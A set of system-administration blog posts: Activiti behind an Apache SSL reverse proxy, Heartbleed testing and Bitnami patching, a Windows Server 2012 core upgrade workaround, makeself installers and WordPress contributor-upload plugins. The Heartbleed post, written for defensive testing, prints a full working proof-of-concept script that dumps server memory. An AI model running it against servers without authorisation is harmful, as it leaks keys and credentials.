Access Activiti Through an Apache Reverse Proxy with SSL

Access Activiti Through an Apache Reverse Proxy with SSL

Activiti is a light-weight workflow and Business Process Management (BPM) Platform. There seems to be sufficient documentation to get a copy up and running for older versions of this offering. Documentation for the newer versions could use a rewrite. After setting up the instance of Activiti (version 5.18.0) in one environment, the goal shifted to running it behind an Apache Reverse Proxy (RP) with SSL. A configuration file for the Apache RP was created like so.

# https://mycoolsite.com/activiti-explorer
 #####################################################
        ProxyPass /activiti-explorer https://10.10.10.10:8080/activiti-explorer
        ProxyPassReverse /activiti-explorer https://10.10.10.10:8080/activiti-explorer

Sparse support may be found for modifications that are needed for the server.xml file. That support plus using bits and pieces from other application installs resulted in a server.xml that looks like this.

    <Connector port="8080"
             maxThreads="150"
             minSpareThreads="25"
             connectionTimeout="20000"
             enableLookups="false"
             maxHttpHeaderSize="8192"
             protocol="HTTP/1.1"
             useBodyEncodingForURI="true"
             redirectPort="8443"
             acceptCount="100"
             scheme="https"
             secure="true"
             proxyName="mycoolsite.com"
             proxyPort="443"
             disableUploadTimeout="true"/>

The key to successfully implementing the SSL is the added line of secure=”true”. Without that one line, the site didn’t load properly.  This is a line that I hadn’t implemented in configuring other applications of a similar configuration. Hopefully, this little nugget will prove useful to your installation and configuration of Activiti.

Activiti


				
					
Test for and Patch the Heartbleed Bug

Test for and Patch the Heartbleed Bug

OpenSSL versions 1.0.1 through 1.0.1f (inclusive) are compromised with a vulnerability that makes it possible to steal information. Patched versions of the OpenSSL may have been back ported to the “built on” date newer or equal to April 2014 should be a good indicator if OpenSSL has been patched.

openssl version -b

While the Linux system may be patched, third-party application stacks may not be. In this example, an installation of an older version, 5.4.14-0, of a Bitnami LAMP Stack, was vulnerable and required patching. Bitnami issued a patch for their products, but it wasn’t completely clear to me which Bitnami products the patch would be applicable. However, the bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run, turns out to be the solution to patch the vulnerable OpenSSL within this version of the Bitnami LAMP Stack.

Test for the Heartbleed Bug

How to determine if the Heartbleed bug exists? There are a couple of detection methods that are available on the Internet. One that proved to be popular, inconclusive, and provides false-positives was with this following command.

echo quit | openssl s_client -connect localhost:443 -tlsextdebug 2>&1|grep 'server extension "heartbeat" (id=15)' || echo safe
TLS server extension "heartbeat" (id=15), len=1

The command, when issued with an incorrect value or where OpenSSL was not implemented within the application, would under certain conditions provide a false-positive.

A better method for testing is through the use of a python script. The script:

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
import smtplib

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')

def h2bin(x):
	return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')

hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')

hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')

def hexdump(s, dumpf, quiet):
	dump = open(dumpf,'a')
	dump.write(s)
	dump.close()
	if quiet: return
	for b in xrange(0, len(s), 16):
		lin = [c for c in s[b : b + 16]]
		hxdat = ' '.join('%02X' % ord(c) for c in lin)
		pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
		print '  %04x: %-48s %s' % (b, hxdat, pdat)
	print

def recvall(s, length, timeout=5):
	endtime = time.time() + timeout
	rdata = ''
	remain = length
	while remain > 0:
		rtime = endtime - time.time()
		if rtime < 0:
			if not rdata:
				return None
			else:
				return rdata
		r, w, e = select.select([s], [], [], 5)
		if s in r:
			data = s.recv(remain)
			# EOF?
			if not data:
				return None
			rdata += data
			remain -= len(data)
	return rdata

def recvmsg(s):
	hdr = recvall(s, 5)
	if hdr is None:
		print 'Unexpected EOF receiving record header - server closed connection'
		return None, None, None
	typ, ver, ln = struct.unpack('>BHH', hdr)
	pay = recvall(s, ln, 10)
	if pay is None:
		print 'Unexpected EOF receiving record payload - server closed connection'
		return None, None, None
	print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
	return typ, ver, pay

def hit_hb(s, dumpf, host, quiet):
	while True:
		typ, ver, pay = recvmsg(s)
		if typ is None:
			print 'No heartbeat response received from '+host+', server likely not vulnerable'
			return False

		if typ == 24:
			if not quiet: print 'Received heartbeat response:'
			hexdump(pay, dumpf, quiet)
			if len(pay) > 3:
				print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!'
			else:
				print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.'
			return True

		if typ == 21:
			if not quiet: print 'Received alert:'
			hexdump(pay, dumpf, quiet)
			print 'Server '+ host +' returned error, likely not vulnerable'
			return False

def connect(host, port, quiet):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	if not quiet: print 'Connecting...'
	sys.stdout.flush()
	s.connect((host, port))
	return s

def tls(s, quiet):
	if not quiet: print 'Sending Client Hello...'
	sys.stdout.flush()
	s.send(hello)
	if not quiet: print 'Waiting for Server Hello...'
	sys.stdout.flush()

def parseresp(s):
	while True:
		typ, ver, pay = recvmsg(s)
		if typ == None:
			print 'Server closed connection without sending Server Hello.'
			return 0
		# Look for server hello done message.
		if typ == 22 and ord(pay[0]) == 0x0E:
			return ver

def check(host, port, dumpf, quiet, starttls):
	response = False
	if starttls:
		try:
			s = smtplib.SMTP(host=host,port=port)
			s.ehlo()
			s.starttls()
		except smtplib.SMTPException:
			print 'STARTTLS not supported...'
			s.quit()
			return False
		print 'STARTTLS supported...'
		s.quit()
		s = connect(host, port, quiet)
		s.settimeout(1)
		try:
			re = s.recv(1024)
			s.send('ehlo starttlstest\r\n')
			re = s.recv(1024)
			s.send('starttls\r\n')
			re = s.recv(1024)
		except socket.timeout:
			print 'Timeout issues, going ahead anyway, but it is probably broken ...'
		tls(s,quiet)
	else:
		s = connect(host, port, quiet)
		tls(s,quiet)

	version = parseresp(s)

	if version == 0:
		if not quiet: print "Got an error while parsing the response, bailing ..."
		return False
	else:
		version = version - 0x0300
		if not quiet: print "Server TLS version was 1.%d\n" % version

	if not quiet: print 'Sending heartbeat request...'
	sys.stdout.flush()
	if (version == 1):
		s.send(hbv10)
		response = hit_hb(s,dumpf, host, quiet)
	if (version == 2):
		s.send(hbv11)
		response = hit_hb(s,dumpf, host, quiet)
	if (version == 3):
		s.send(hbv12)
		response = hit_hb(s,dumpf, host, quiet)
	s.close()
	return response

def main():
	opts, args = options.parse_args()
	if len(args) < 1:
		options.print_help()
		return

	print 'Scanning ' + args[0] + ' on port ' + str(opts.port)
	for i in xrange(0,opts.num):
		check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)

if __name__ == '__main__':
	main()

Prior to executing the python script, make sure that the Apache server is running, one way to do this is with the following command.

netstat -ntlpn | grep httpd

To run add option -p for the appropriate port number to test, defaults to 443. And add a -q to display a more condensed response to the test. To really see the impact of the Heartbleed bug, run this command without the -q option to see the verbose output.

./ht.py bitnami.example.com -p 443 -q
Scanning bitnami.example.com on port 443
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 449
 ... received message: type = 22, ver = 0302, length = 203
 ... received message: type = 22, ver = 0302, length = 4
 ... received message: type = 24, ver = 0302, length = 16384
WARNING: server bitnami.example.com returned more data than it should - server is vulnerable!

Fix the Bitnami LAMP Stack

Probably for good measure stop the Apache service. Though tests without stopping the Apache service were successful in applying the patch and running the python script indicated that the patch had succeeded. The service may not have to be restarted. Though may be a good thing to do.  Pending upon the level of impact of the service restart. If you haven’t already downloaded the 32-bit or 64-bit version of the bitnami-opensslfixer-1.0.1g-1, here are steps to do so.

# 64-bit
wget https://downloads.bitnami.com/files/download/opensslfixer/bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run
chmod +x ./bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run

#32-bit
wget https://downloads.bitnami.com/files/download/opensslfixer/bitnami-opensslfixer-1.0.1g-1-linux-installer.run
chmod +x ./bitnami-opensslfixer-1.0.1g-1-linux-installer.run

Discover the available options by running the –help extension.

./bitnami-opensslfixer-1.01g-1-linux-x64-installer.run --help

Run the patch in unattended mode, which likely starts the service upon completion!

./bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run --mode unattended --prefix /opt/lamp-5.4.14-0
Detected vulnerable OpenSSL version, preparing to patch it...
./bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run --mode unattended --prefix /opt/lamp-5.4.14-0
Your OpenSSL version seems to be safe

You can also run the patch in normal mode and answer a few prompted questions.

./bitnami-opensslfixer-1.01g-1-linux-x64-installer.run

Start the Apache service if it is not already running and run the python script again. Note that the echo command used to determine OpenSSL will show evidence that the bug remains, so has proven ineffective. The python script should result in a favorable response.

./ht.py bitnami.example.com -p 443 -q
Scanning bitnami.example.com on port 443
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 449
 ... received message: type = 22, ver = 0302, length = 203
 ... received message: type = 22, ver = 0302, length = 4
Unexpected EOF receiving record header - server closed connection
No heartbeat response received from bitnami.example.com, server likely not vulnerable

What files are patched?

lamp-5.4.14-0/common/bin/openssl.bin
lamp-5.4.14-0/common/lib/engines/lib4758cca.so
lamp-5.4.14-0/common/lib/engines/libaep.so
lamp-5.4.14-0/common/lib/engines/libatalla.so
lamp-5.4.14-0/common/lib/engines/libcapi.so
lamp-5.4.14-0/common/lib/engines/libchil.so
lamp-5.4.14-0/common/lib/engines/libcswift.so
lamp-5.4.14-0/common/lib/engines/libgmp.so
lamp-5.4.14-0/common/lib/engines/libgost.so
lamp-5.4.14-0/common/lib/engines/libnuron.so
lamp-5.4.14-0/common/lib/engines/libpadlock.so
lamp-5.4.14-0/common/lib/engines/libsureware.so
lamp-5.4.14-0/common/lib/engines/libubsec.so
lamp-5.4.14-0/common/lib/libcrypto.so
lamp-5.4.14-0/common/lib/libcrypto.so.1.0.0
lamp-5.4.14-0/common/lib/libssl.so
lamp-5.4.14-0/common/lib/libssl.so.1.0.0

 

How to Upgrade Windows Server 2008 R2 Core Domain Controller to Windows Server 2012 Core

How to Upgrade Windows Server 2008 R2 Core Domain Controller to Windows Server 2012 Core

The upgrade path should be as simple as upgrading Windows Server 2008 R2 Server-Core Domain Controller to Windows Server 2012 Core.  However, this is not the case.

Most Internet solutions will write of this upgrade path without Active Directory services. This is an important distinction as this upgrade path will fail with a black screen with cursor and then a rollback. On a development virtual machine an upgrade path that worked was Windows Server 2008 R2 Core Domain Controller to Windows Server 2012 R2 Core.

As this is NOT the desired path, a work-a-round had to be determined as well as determining the reason why the Windows Server 2012 R2 Core path worked where the Windows Server 2012 Core path failed.

While researching this problem, a Microsoft KB 2843034 article was found to describe the problem accurately and offer a “solution”. Microsoft summarizes the problem as “… specific to server-core enabled domain controllers that are in-place upgraded to Windows Server 2012 server core. This condition does not occur on GUI or Full-DCs that are in-place upgraded to Windows Server 2012.” The problem is narrowed to “[t]he DirectoryServices-DomainController role [which] is disabled by default and is not enabled because there is no role with that name on the Windows Server 2008 R2 operating system. Since there is nothing to match up among the available Windows Server 2012 manifests, the upgrade hangs.”

Now for the Microsoft “solution”. To make an in-place upgrade succeed add a “Replacement Manifest”, DirectoryServices-DomainController-ServerCoreUpg-Replacement.man, to the setup source files. “Please contact Microsoft Customer Technical Support to retrieve the manifest. Ensure to reference this article so the agent can provide you with the manifest file free of charge.”

Not quite the solution that was sought. However, there was something to that solution that led to the next course of action. How did the Windows Server 2012 R2 succeed where the Windows Server 2012 had failed? It must have had the manifest necessary to succeed. To determine if the Windows Server 2012 R2 had the DirectoryServices-DomainController-ServerCoreUpg-Replacement.man file, the ISO image was opened and then navigated to the sources\replacementmanifests\ folder. The manifest is there. It is not on the Windows Server 2012 ISO.

Armed with this knowledge, the solution is to extract the sources\replacementmanifests\DomainController-ServerCoreUpg-Replacement.man file from the Windows Server 2012 R2 DVD or ISO and copy it to the same location to the Windows Server 2012 DVD or ISO.

Perform the upgrade and watch in amazement and bewilderment as the upgrade process not only continues past the black screen, however, completes successfully.

Create a Self-Extracting Installer in Linux

Create a Self-Extracting Installer in Linux

Ultimately many would want to write complex RPMs to install software packages, however, those who are accountable for writing such packages may agree that this task may be cumbersome and impractical.

Where the RPM may accomplish the goal of wrapping an application in some sort of container for distribution, this goal is also possible by using a self-extracting archive or an installer which can launch an embedded script.

This is where a utility called makeself comes in. Makeself is described as “a small shell script that generates a self-extractable tar.gz archive from a directory. The resulting file appears as a shell script (many of those have a .run suffix) and can be launched as is.

Install makeself

cd /opt/app
wget https://megastep.org/makeself/makeself-2.1.5.run
chmod 755 makeself-2.1.5.run
./makeself-2.1.5.run
cd makeself-2.1.5
cp *.sh /usr/bin

Example
Suppose you want to package and distribute a version of libevent2 for several CentOS 6 servers. Here is one way.

mkdir rpmfile
cd rpmfile

wget ftp://ftp.pbone.net/mirror/ftp5.gwdg.de/pub/opensuse/repositories/home:/aevseev/CentOS_CentOS-6/x86_64/libevent2-2.0.21-1.1.x86_64.rpm
wget ftp://ftp.pbone.net/mirror/ftp5.gwdg.de/pub/opensuse/repositories/home:/aevseev/CentOS_CentOS-6/x86_64/libevent-devel-2.0.21-1.1.x86_64.rpm

echo '#!/bin/bash
yum install -y libevent2-2.0.21-1.1.x86_64.rpm libevent-devel-2.0.21-1.1.x86_64.rpm' > libevent-install.sh
chmod +x libevent-install.sh
cd ..

Command

#makeself.sh ./DIRECTORY ./FINAL-PRODUCT-NAME.run "SFX installer for COMMENT HERE" ./FILE-IN-DIRECTORY-TO-RUN.sh
makeself.sh ./rpmfile ./libevent-devel.run "SFX installer for libevent-devel (2.0.21)" ./libevent-install.sh

Use the .run file

./libevent-devel.run

Source(s)
https://xmodulo.com/how-to-create-a-self-extracting-archive-or-installer-in-linux.html
https://megastep.org/makeself/

WordPress Contributors Upload Plugins

WordPress Contributors Upload Plugins

My previous post, “Allow WordPress Users to Upload Images” discussed the use of the functions.php file to implement capabilities to the contributors’ role that isn’t there by original design. As the functions.php file is part of a WordPress theme, and if an alternate theme is selected, the functions will no longer be accessible unless the functions.php file is edited in that theme as well. With the use of plugins, however, the functions will remain.

This function is slightly different than many others, in that it is a persistent change. So even if the function is not enabled as a plugin or removed from a functions.php the change will remain until it is explicitly revoked. Two plugins are needed.

This plugin enables the capability of the contributor role to upload content along with their post. Once enabled the action takes effect, even if it is then disabled. Hence, the reason for the next plugin.

<?php
 /*
 Plugin Name: Armedia: Contributor Role Upload Enabler
 Description: Adds the capability to the contributor role to upload content. This change is persistent until it is explicitly revoked. Based on the source by Hardeep Asrani.
 Author: Paul Combs
 Version: 1.0
 Author URI: https://www.armedia.com
 */

function allow_contributor_uploads() {
 if ( current_user_can( 'contributor' ) && ! current_user_can( 'upload_files' )) {
 $contributor = get_role('contributor');
 $contributor->add_cap('upload_files');
 }
 }

add_action('admin_init', 'allow_contributor_uploads');
 ?>

This plugin removes the capability of the contributor role to upload content. Once enabled the action takes effect, even if it is then disabled.

<?php
 /*
 Plugin Name: Armedia: Contributor Role Upload Disabler
 Description: Removes the capability to the contributor role to upload content. This change is persistent until it is explicitly revoked.
 Author: Paul Combs
 Version: 1.0
 Author URI: https://www.armedia.com
 */

function remove_contributor_uploads() {
 if ( current_user_can( 'contributor' ) && current_user_can( 'upload_files' )) {
 $contributor = get_role('contributor');
 $contributor->remove_cap('upload_files');
 }
 }

add_action('admin_init', 'remove_contributor_uploads');

?>

There are no checks and balances here, so it should be noted that if both are enabled the results will not be as expected. A quick test of refreshing a contributor screen with both plugins enabled will reveal that the capability is available every other refresh. For the expected result, select one or the other.